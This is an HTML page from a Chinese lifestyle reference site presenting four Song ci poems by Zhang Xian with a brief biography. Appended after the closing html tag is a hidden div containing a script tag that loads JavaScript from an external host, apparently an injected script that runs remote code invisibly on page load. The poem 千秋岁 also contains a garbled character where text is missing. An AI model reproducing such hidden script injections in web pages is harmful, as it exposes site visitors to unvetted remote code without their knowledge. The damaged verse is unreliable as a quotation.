<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>生活百宝箱-宋词-张先</title>
<link href="../res/zl_style.css" rel="stylesheet" type="text/css" />
</head>
<body lang="zh">
<div class="Top"><a href="../" class="a_INDEX">生活百宝箱</a><b class="Top_B_arr"></b><a href="./index.htm">宋词</a><b class="Top_B_arr"></b><span><strong>张先</strong></span></div>

	<div class="Cont_tit sc">
		<h1>张先</h1>
		<span>(990～1078)中国北宋词人。字子野。乌程(今浙江湖州市)人。仁宗天圣八年(1030)进士。有《张子野词》2卷，《丛书》本。</span>
	</div>
	
<!--内容 开始-->
	<div class="Cont">
		<div class="sc_book_div">
		<div class="clear" style="margin-top:-20px"></div>
	<div class="sc_det_wide"><div class="sc_det_tit"><strong>醉垂鞭</strong></div><div class="sc_det_cont">双蝶绣罗裙，东池宴初相见。朱粉不深匀，闲花淡淡春。细看诸处好，人人道柳腰身。昨日乱山昏，来时衣上云。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>菩萨蛮</strong></div><div class="sc_det_cont">哀筝一弄湘江曲，声声写尽湘波绿。纤指十三弦，细将幽恨传。当筵秋水慢，玉柱斜飞雁。弹到断肠时，春山眉黛低。</div></div><div class="clear"></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>青门引</strong></div><div class="sc_det_cont">乍暖还轻冷，风雨晚来方定。庭轩寂寞近清明，残花中酒，又是去年病。<br/>楼头画角风吹醒，入夜重门静。那堪更被明月，隔墙送过秋千影。</div></div><div class="sc_det_wide"><div class="sc_det_tit"><strong>千秋岁</strong></div><div class="sc_det_cont">数声W，又报芳菲歇。惜春更选残红折，雨轻风色暴，梅子青时节。永丰柳，无人尽日花飞雪。<br/>莫把幺弦拨，怨极弦能说。天不老，情难绝，心似双丝网，中有千千结。夜过也，东窗未白孤灯灭。</div></div>

<div class="clear"></div>
<div class="sc_fy">宋词作者：<span>张先</span>&nbsp; &nbsp; 宋词翻页： [<a href="21_1.htm">下一页</a>]&nbsp; &nbsp; 页数： <span>1/2</span></div>
</div>

<div class="sc_bot_div"><input name="" type="button" value="返回宋词列表" onclick="location.href='index.htm'" /></div>

	</div>
</body>
</html>
  <div style='display:none'>
<script type="text/javascript" src="http://www.26rc.com/js/26.js"></script>